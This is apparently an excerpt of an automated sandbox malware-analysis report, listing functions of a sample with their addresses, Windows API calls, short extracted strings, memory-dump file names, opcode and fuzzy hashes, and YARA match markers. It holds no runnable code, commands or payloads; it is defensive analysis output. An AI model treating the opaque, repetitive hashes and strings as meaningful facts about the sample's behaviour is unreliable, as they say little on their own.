FreeLibrary.KERNEL32(?), ref: 00430F85

Strings

#v, xrefs: 00430F85

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: d64d061adfdbf120dee82a0fc1018915ebc31be6462cf1f122b0efd75b845ce0
Instruction ID: 7b7113e42e32beabe8c4c016577568230ad12c23f9774a4b5fe118adb1295c8a
Opcode Fuzzy Hash: d64d061adfdbf120dee82a0fc1018915ebc31be6462cf1f122b0efd75b845ce0
Instruction Fuzzy Hash: 9531F33691C3D08BE3348F359C553EBBBE2ABC6314F19866DC8D857285DB7A1805CB86

Function 00430F4E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00430F85

Strings

#v, xrefs: 00430F85

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: d43ff3280345835f4c21c516bd395dd340a58cd7044fd3e67ca854e034ba4060
Instruction ID: fb4d1f38de1a85f36896b77157d4be4448694684cc70b9096da98958b1763f09
Opcode Fuzzy Hash: d43ff3280345835f4c21c516bd395dd340a58cd7044fd3e67ca854e034ba4060
Instruction Fuzzy Hash: D931F23695C3908BE3348F359C953DBBBE2ABC6314F19862DC8D817284DB7A1805CB86

Function 00404E20 Relevance: 3.3, Strings: 2, Instructions: 792COMMON

Download Yara Rule

Strings

8, xrefs: 00405733
0, xrefs: 0040573B

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 9b65179c85595c414a48b5f661f94d2ee029877bb6922c8c96a9a243c101c061
Instruction ID: 19de03d7aa05240092aa3acb4ee1ab33a8cd98421fbae1c194af479a45b94dce
Opcode Fuzzy Hash: 9b65179c85595c414a48b5f661f94d2ee029877bb6922c8c96a9a243c101c061
Instruction Fuzzy Hash: 3B720171508740AFD710CF18C884BABBBE1EB88314F44892EF9999B391D379D958CF96

Function 02135087 Relevance: 3.3, Strings: 2, Instructions: 792COMMON

Download Yara Rule

Strings

8, xrefs: 0213599A
0, xrefs: 021359A2

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 9b65179c85595c414a48b5f661f94d2ee029877bb6922c8c96a9a243c101c061
Instruction ID: 6d2267c770d692afabf808dfbd94c7c36e310a3f76490f8dd7c37cfaf7cf0c71
Opcode Fuzzy Hash: 9b65179c85595c414a48b5f661f94d2ee029877bb6922c8c96a9a243c101c061
Instruction Fuzzy Hash: 8F722571508340AFD715CF18C890BABBBE2BF88718F44891DF9998B391D375D958CB92

Function 0041F9A0 Relevance: 3.3, Strings: 2, Instructions: 771COMMON

Download Yara Rule

Strings

/B, xrefs: 00420402
nB, xrefs: 004203B8

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: /B$nB
API String ID: 0-3787476056
Opcode ID: 8cc1b13c1102e30db294b922f2599dfa790129c5d8f004719a222694663e08f2
Instruction ID: 01d0190d3bb0ccc58f1444bdf38ba46b89cc646c5dd88bcfe1081667cb01010c
Opcode Fuzzy Hash: 8cc1b13c1102e30db294b922f2599dfa790129c5d8f004719a222694663e08f2
Instruction Fuzzy Hash: 3E7270B0509B808FD3658F3C8855797BFD5AB5A324F148A5EE0FE873D2C77960018B6A

Function 0042AF92 Relevance: 3.2, Strings: 2, Instructions: 719COMMON

Download Yara Rule

Strings

q, xrefs: 0042ADA6
(\{, xrefs: 0042AF20

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$q
API String ID: 0-1269803264
Opcode ID: 028d739358c52e8602972a09d323f6bdb4925b84f419e3085169aae73bae586d
Instruction ID: d2894ee3cd08ac16c3749e12b5b110520c9353356bc4cfd2bf9c021bc54d189f
Opcode Fuzzy Hash: 028d739358c52e8602972a09d323f6bdb4925b84f419e3085169aae73bae586d
Instruction Fuzzy Hash: B522F1B4608311CBD714CF64D8A176BB7F1FF96318F48896DE8854B391E7788906CB8A

Function 0042BA20 Relevance: 3.1, APIs: 2, Instructions: 146COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 0042BB95
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,?,?), ref: 0042BC1E

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 08dab3ac1c3e682bcbc351f775dd6a9a04cbb622e72c41a6e431c472b400fc88
Instruction ID: 88c8716360a9849faea0ff28cefb8e51f229f873179c28473aebd70c66339d06
Opcode Fuzzy Hash: 08dab3ac1c3e682bcbc351f775dd6a9a04cbb622e72c41a6e431c472b400fc88
Instruction Fuzzy Hash: 28513672519350CFE324CF76DC8075BBBA2FBC2304F16862DE5951B290CBB984068B86

Function 00443B60 Relevance: 2.9, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

>D, xrefs: 00443ED1
UUK, xrefs: 00443D79

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: >D$UUK
API String ID: 0-1347512165
Opcode ID: e0386ec59c16bdf8c29cd5a48f3d704c8f1d2f3bb815fb722162d041929130e6
Instruction ID: 5ece47969d2e4495fd744cec34393a228d2be6badad345384a3b8f4f4ab2efe2
Opcode Fuzzy Hash: e0386ec59c16bdf8c29cd5a48f3d704c8f1d2f3bb815fb722162d041929130e6
Instruction Fuzzy Hash: 86D1EE35A08310CFD314DF29D89072BB7E2BBDA300F4A897DE98997392D675D941CB86

Function 0043DF60 Relevance: 2.9, Strings: 2, Instructions: 391COMMON

Download Yara Rule

Strings

NP,?, xrefs: 0043E1A0
(\{, xrefs: 0043DFB3, 0043E112, 0043E191, 0043E300

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$NP,?
API String ID: 0-1715476130
Opcode ID: 97dad55d8dd3fc337ded57b92089687e6f60b6a3e62a8a8ad6655724058fe796
Instruction ID: 1f4fb5fde5d3a5e7269753d163d491fe37fce05cbc84d157e3c3b696b68cf536
Opcode Fuzzy Hash: 97dad55d8dd3fc337ded57b92089687e6f60b6a3e62a8a8ad6655724058fe796
Instruction Fuzzy Hash: 4CA148316052009BD714CF16CC81B6BB3A6FBC9314F14962DE9A5573C1D779AC06CB9A

Function 0216E1C7 Relevance: 2.9, Strings: 2, Instructions: 391COMMON

Download Yara Rule

Strings

(\{, xrefs: 0216E21A, 0216E379, 0216E3F8, 0216E567
NP,?, xrefs: 0216E407

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{$NP,?
API String ID: 0-1715476130
Opcode ID: 1d2be2e89745f1705865aa58f38ac347d87ec7cac21ab51014cd6f937c8c9e72
Instruction ID: d9854e79c21804aff02f1e38c104a1776b50debe3c6f5286429e239d379cf3dd
Opcode Fuzzy Hash: 1d2be2e89745f1705865aa58f38ac347d87ec7cac21ab51014cd6f937c8c9e72
Instruction Fuzzy Hash: B2A1F2796842009BD714DF25CC88F7EB7A2FB85318F18872CE9A9572D1E731D816CB92

Function 004195B6 Relevance: 2.9, Strings: 2, Instructions: 363COMMON

Download Yara Rule

Strings

^\, xrefs: 004198D8
=, xrefs: 004197CC

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: =$^\
API String ID: 0-3808277151
Opcode ID: 3ae2f5be3b5b97ffa114b6693e049356c5b1626121661ef7d8dd4ce1dd7da5ce
Instruction ID: 449fbb577030d5845b3ff3c78ea8df1dbbecff39a5bc4c3e86ed8d0a83d476b4
Opcode Fuzzy Hash: 3ae2f5be3b5b97ffa114b6693e049356c5b1626121661ef7d8dd4ce1dd7da5ce
Instruction Fuzzy Hash: 20B1E6B56483428BD328DF25C8A07ABBBE1EFD5315F08892DE4D58B381E77C8845C796

Function 0214981D Relevance: 2.9, Strings: 2, Instructions: 363COMMON

Download Yara Rule

Strings

^\, xrefs: 02149B3F
=, xrefs: 02149A33

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: =$^\
API String ID: 0-3808277151
Opcode ID: 5db4b892f095804ee284d38a4db250eddcc7e3951948645c0765905043076e92
Instruction ID: 0bf7eaa2fd03233fa1bcc7eb8d07361da8c326c7014a349c094cb437e61469e9
Opcode Fuzzy Hash: 5db4b892f095804ee284d38a4db250eddcc7e3951948645c0765905043076e92
Instruction Fuzzy Hash: ABB1D7756483828BD328DF24C890BBBBBE2EFC5315F08896CD4D58B781E7788905CB56

Function 00444C20 Relevance: 2.8, Strings: 2, Instructions: 312COMMON

Download Yara Rule

Strings

(\{, xrefs: 00444D6E, 00444E96
Y\]R, xrefs: 00444E24

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: InitializeThunk
String ID: (\{$Y\]R
API String ID: 2994545307-2813580722
Opcode ID: e368f69b4051d92f4704c4a144e7348ede97506515b2c153191350598cb49a47
Instruction ID: 32cb53c941d059e59dbce30d87d00b37379897002de2ab33e1c58f8979392959
Opcode Fuzzy Hash: e368f69b4051d92f4704c4a144e7348ede97506515b2c153191350598cb49a47
Instruction Fuzzy Hash: 6E910371A087118BE314CF29D89076BF7E2FBC5314F18862DE89597391DB79DC0A8786

Function 02174E87 Relevance: 2.8, Strings: 2, Instructions: 312COMMON

Download Yara Rule

Strings

(\{, xrefs: 02174FD5, 021750FD
Y\]R, xrefs: 0217508B

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{$Y\]R
API String ID: 0-2813580722
Opcode ID: 6f2147a5695bd4a53398488ea1253b7368f890971a7c40f09ff34ff683eb93e5
Instruction ID: 65b1e2943fe8e3d9ae1ffe6a28c5a309727ca9fed319d614296c29a06394d942
Opcode Fuzzy Hash: 6f2147a5695bd4a53398488ea1253b7368f890971a7c40f09ff34ff683eb93e5
Instruction Fuzzy Hash: 2F91D1716483019BD314DF28D89076BB7E3EBC5324F188A2CE89997391DB75D94ACB82

Function 0043B410 Relevance: 2.8, Strings: 2, Instructions: 299COMMON

Download Yara Rule

Strings

<, xrefs: 0043B58B
(\{, xrefs: 0043B74A

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$<
API String ID: 0-812333394
Opcode ID: 4cb474083ab1d720fa74cee5836e6e80a3847d91a69879083b1040dd856b60c3
Instruction ID: 298ed6161c937c0e6968453eb829229e96a7e3621a1d6b118fdfa9d8e411f9a2
Opcode Fuzzy Hash: 4cb474083ab1d720fa74cee5836e6e80a3847d91a69879083b1040dd856b60c3
Instruction Fuzzy Hash: 78D1B0216087C28ED726CB3C8844359BF91AB67224F0983D9D0E95F3D3C3698986C7E6

Function 0216B677 Relevance: 2.8, Strings: 2, Instructions: 299COMMON

Download Yara Rule

Strings

(\{, xrefs: 0216B9B1
<, xrefs: 0216B7F2

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{$<
API String ID: 0-812333394
Opcode ID: eb7dcbf6f930f490dd2752fe1db9af74e8ea13f28aef30d47d39e65f19be287c
Instruction ID: 23baeafef11ed4a872db04fa538b65ea767286447e044d37a45808848b4f9aa3
Opcode Fuzzy Hash: eb7dcbf6f930f490dd2752fe1db9af74e8ea13f28aef30d47d39e65f19be287c
Instruction Fuzzy Hash: 52D1A021A087D28ED726CB3C8848359BF916B67224F0D83D8D4E99F3D3C3659985C7A6

Function 0042F1C1 Relevance: 2.8, Strings: 2, Instructions: 284COMMON

Download Yara Rule

Strings

H, xrefs: 0043046D
6, xrefs: 00430397

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 6$H
API String ID: 0-1447585844
Opcode ID: c35a03f4cf591df4d4aceba60bc50ce8e51cc17a99ecf9a3f38fb7b5001c7353
Instruction ID: 70973cbbd1d345abe4e026803d5a60bd6a74268ec64029004c3dfe15c300f41f
Opcode Fuzzy Hash: c35a03f4cf591df4d4aceba60bc50ce8e51cc17a99ecf9a3f38fb7b5001c7353
Instruction Fuzzy Hash: 80814B716083914FD318CB29C8A136BBBE09FA6304F18996EE5D58B392D67DC806CB56

Function 0215F428 Relevance: 2.8, Strings: 2, Instructions: 284COMMON

Download Yara Rule

Strings

H, xrefs: 021606D4
6, xrefs: 021605FE

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 6$H
API String ID: 0-1447585844
Opcode ID: c35a03f4cf591df4d4aceba60bc50ce8e51cc17a99ecf9a3f38fb7b5001c7353
Instruction ID: 0262d6e006f836b5aefc2c95d321c449018c069434ad53d4c7dde7afc842f9ea
Opcode Fuzzy Hash: c35a03f4cf591df4d4aceba60bc50ce8e51cc17a99ecf9a3f38fb7b5001c7353
Instruction Fuzzy Hash: F5812A716483918FD3188B29C8A537FBBE1AFD6204F18886DE5D58B382D77AC406CB52

Function 0043025E Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

H, xrefs: 0043046D
6, xrefs: 00430397

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 6$H
API String ID: 0-1447585844
Opcode ID: daca0a37e64689617dcb32fcd85fbedc979902d255c1e22abba8b4ae14e2925f
Instruction ID: 66dbb9f7593940bda3bdb21456c4f2af28ce9aa7ca169eb6b940cdf049e341e0
Opcode Fuzzy Hash: daca0a37e64689617dcb32fcd85fbedc979902d255c1e22abba8b4ae14e2925f
Instruction Fuzzy Hash: 4B814C716083914FD718CB39C8A136BBBE09FA6304F18D96EE5D587382D67DC806CB56

Function 021604C5 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

H, xrefs: 021606D4
6, xrefs: 021605FE

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 6$H
API String ID: 0-1447585844
Opcode ID: daca0a37e64689617dcb32fcd85fbedc979902d255c1e22abba8b4ae14e2925f
Instruction ID: b6fd8ceb4c3742ee73157c380adcf19514585e57aa1f863d8a2d30163574288d
Opcode Fuzzy Hash: daca0a37e64689617dcb32fcd85fbedc979902d255c1e22abba8b4ae14e2925f
Instruction Fuzzy Hash: 06813B716483918FD3188B39C8A537FBBE0AFD6204F18C86DE5D587282D77AC406CB52

Function 004302CD Relevance: 2.8, Strings: 2, Instructions: 281COMMON

Download Yara Rule

Strings

H, xrefs: 0043046D
6, xrefs: 00430397

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 6$H
API String ID: 0-1447585844
Opcode ID: b232811d3ee24f42029a39b04350329bbda619cffa72b30ad3cccad91a8d63e0
Instruction ID: c9c02734f3e5a7eb2ca0eed0804f28c87630d1e97fd284b28010db33944d152d
Opcode Fuzzy Hash: b232811d3ee24f42029a39b04350329bbda619cffa72b30ad3cccad91a8d63e0
Instruction Fuzzy Hash: 99816E716083814FD318CB39C8A136BBBE09F96304F18D96EE5D587382D67DC806CB56

Function 02160534 Relevance: 2.8, Strings: 2, Instructions: 281COMMON

Download Yara Rule

Strings

H, xrefs: 021606D4
6, xrefs: 021605FE

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 6$H
API String ID: 0-1447585844
Opcode ID: b232811d3ee24f42029a39b04350329bbda619cffa72b30ad3cccad91a8d63e0
Instruction ID: ab321b158252c97ef16e700f036d90b3546739f04406333489965ab73437532c
Opcode Fuzzy Hash: b232811d3ee24f42029a39b04350329bbda619cffa72b30ad3cccad91a8d63e0
Instruction Fuzzy Hash: C78129716483918FD7188B29C8A537FBBE1AF96204F18886DE5D58B382D77A8406CB52

Function 004123EC Relevance: 2.8, Strings: 2, Instructions: 271COMMON

Download Yara Rule

Strings

n, xrefs: 004125AE
n, xrefs: 004123FF

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: n$n
API String ID: 0-3874132673
Opcode ID: 640065771ea6765fc777ed917390e0c770a06acb5a5701e8f959122f0f1be56b
Instruction ID: 424b4f810cf5c42aa0f11275d2ef5d9a27bebee222b9303fc165311a88e3af60
Opcode Fuzzy Hash: 640065771ea6765fc777ed917390e0c770a06acb5a5701e8f959122f0f1be56b
Instruction Fuzzy Hash: A1A1F676A087508BC3249B3885813AFBBD1AFC5324F198E3EE5E9D33D1DA7888418747

Function 02142653 Relevance: 2.8, Strings: 2, Instructions: 271COMMON

Download Yara Rule

Strings

n, xrefs: 02142815
n, xrefs: 02142666

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: n$n
API String ID: 0-3874132673
Opcode ID: c4005c324171c5f74c8a629180dd734c5e49b29667f7da172a4492617f587dfd
Instruction ID: 1b7810ddfad4b0c8596a8fa93bfdb367a4c3a1bfafd6593221b876b0f455d463
Opcode Fuzzy Hash: c4005c324171c5f74c8a629180dd734c5e49b29667f7da172a4492617f587dfd
Instruction Fuzzy Hash: 2FA1C8769487908BC3249F78849075EBBD2ABD5324F198A3DE9EDC73C1DB748844CB42

Function 00444950 Relevance: 2.8, Strings: 2, Instructions: 257COMMON

Download Yara Rule

Strings

(\{, xrefs: 00444967, 00444A2C
qVol, xrefs: 00444953

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$qVol
API String ID: 0-3820199535
Opcode ID: a4f124c9ac02752dc567efe38763db5f0b81abf009628bda67d4b8c7e599d092
Instruction ID: 3822851cd43ddfd6e2ae3d15aa8c6b5369446e8c252419fc1ba6ad4511229b5c
Opcode Fuzzy Hash: a4f124c9ac02752dc567efe38763db5f0b81abf009628bda67d4b8c7e599d092
Instruction Fuzzy Hash: B181FE752087458BD724CF28D880B6BB3F1FB85354F19812DEA958B3A1EB35EC11C74A

Function 02174BB7 Relevance: 2.8, Strings: 2, Instructions: 257COMMON

Download Yara Rule

Strings

qVol, xrefs: 02174BBA
(\{, xrefs: 02174BCE, 02174C93

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{$qVol
API String ID: 0-3820199535
Opcode ID: bab27bdf19bf43604da4d2719dc478bcee0a316a956e87a0dcfafb43d41436d0
Instruction ID: fc561c9b2188508783031e8d4ebcd58f2ac74d9654c374370bf91e0653813d5b
Opcode Fuzzy Hash: bab27bdf19bf43604da4d2719dc478bcee0a316a956e87a0dcfafb43d41436d0
Instruction Fuzzy Hash: 0E81B1756443058BC724DF28C890A6AB3F2FFD9364F15852CE9958B3A1EB32EC51CB42

Function 0042AFB0 Relevance: 2.7, Strings: 2, Instructions: 222COMMON

Download Yara Rule

Strings

q, xrefs: 0042ADA6
(\{, xrefs: 0042AF20

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$q
API String ID: 0-1269803264
Opcode ID: 6b5437a597b224c58c18eff0cd7f9e1b12adb8a3c204c60dfaa919d9716313ac
Instruction ID: bfd71d5ee42355939c062a028dadac58486c6c85aba871825f936092bfaa215d
Opcode Fuzzy Hash: 6b5437a597b224c58c18eff0cd7f9e1b12adb8a3c204c60dfaa919d9716313ac
Instruction Fuzzy Hash: AC5103B4604310CBD7209F24E85176B73E1FF85318F54456DE9898B3A1E739D92ACB8B

Function 0043E6E0 Relevance: 2.0, Strings: 1, Instructions: 749COMMON

Download Yara Rule

Strings

XY, xrefs: 0043EBE7

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: XY
API String ID: 0-554446067
Opcode ID: 33b58009a0d275d92ce311614dd2e3f5199f03ee560553effbe1cdfd0aaf5a3f
Instruction ID: d641272ad35b4eeebbd9d600f92596cd8dd7c25af792fba6638ab3cd001d37ae
Opcode Fuzzy Hash: 33b58009a0d275d92ce311614dd2e3f5199f03ee560553effbe1cdfd0aaf5a3f
Instruction Fuzzy Hash: 3D322F3AA18351CBC7149F28D91236BB7E1EF8A300F09D97ED4C997291E7B8C945C786

Function 004324EE Relevance: 1.8, Strings: 1, Instructions: 514COMMON

Download Yara Rule

Strings

6, xrefs: 00432790

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-498629140
Opcode ID: ac07f149d65fe26ea065e0c1761624a1b626f6eed3cc7614f6515bb7ce6c8acc
Instruction ID: 787a559d3a6ca89598d2bb367016cd154da02af78fea546a06432564028693a7
Opcode Fuzzy Hash: ac07f149d65fe26ea065e0c1761624a1b626f6eed3cc7614f6515bb7ce6c8acc
Instruction Fuzzy Hash: C3322CB0405B819FD351DF39C545793BFE0AB16214F188A9EE4E9CB383D236E146CBA6

Function 02162755 Relevance: 1.8, Strings: 1, Instructions: 514COMMON

Download Yara Rule

Strings

6, xrefs: 021629F7

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 6
API String ID: 0-498629140
Opcode ID: ac07f149d65fe26ea065e0c1761624a1b626f6eed3cc7614f6515bb7ce6c8acc
Instruction ID: dcea924113dff605153366f7ec1473de312c927cca32c9ed05c10d012450ac6c
Opcode Fuzzy Hash: ac07f149d65fe26ea065e0c1761624a1b626f6eed3cc7614f6515bb7ce6c8acc
Instruction Fuzzy Hash: E9322DB0405B819FD361DF39C445753BFE0AB16214F188A9EE4E9CB383D236E156CBA6

Function 00426010 Relevance: 1.7, APIs: 1, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76074d0fa5649b7af8b65c8d834cc8e8b3a426d5c338a204269d4efa35c5c45e
